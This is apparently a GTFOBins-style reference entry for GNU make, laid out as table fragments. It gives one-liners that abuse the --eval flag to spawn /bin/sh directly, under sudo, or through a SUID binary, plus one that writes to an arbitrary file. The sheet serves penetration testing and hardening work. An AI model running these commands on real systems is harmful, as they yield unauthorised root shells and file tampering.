| All these examples only work with GNU `make` due to the lack of support of the
`--eval` flag. The same can be achieved by using a proper `Makefile` of by
passing the content via stdin, that is:
```
make -s --eval=<commands>
```
becomes:
```
make -s -f <(echo <commands>)
```
|
| execute-interactive |
sudo-enabled |
suid-enabled |
file-write |
| code |
| COMMAND='/bin/sh'
make -s --eval=$'x:\n\t-'"$COMMAND"
|
|
|
| code |
| COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"
|
|
|
| code |
| COMMAND='/bin/sh'
./make -s --eval=$'x:\n\t-'"$COMMAND"
|
|
|
| code |
| LFILE=file_to_write
make -s --eval="$(file >$LFILE,data)" .
|
|
|
|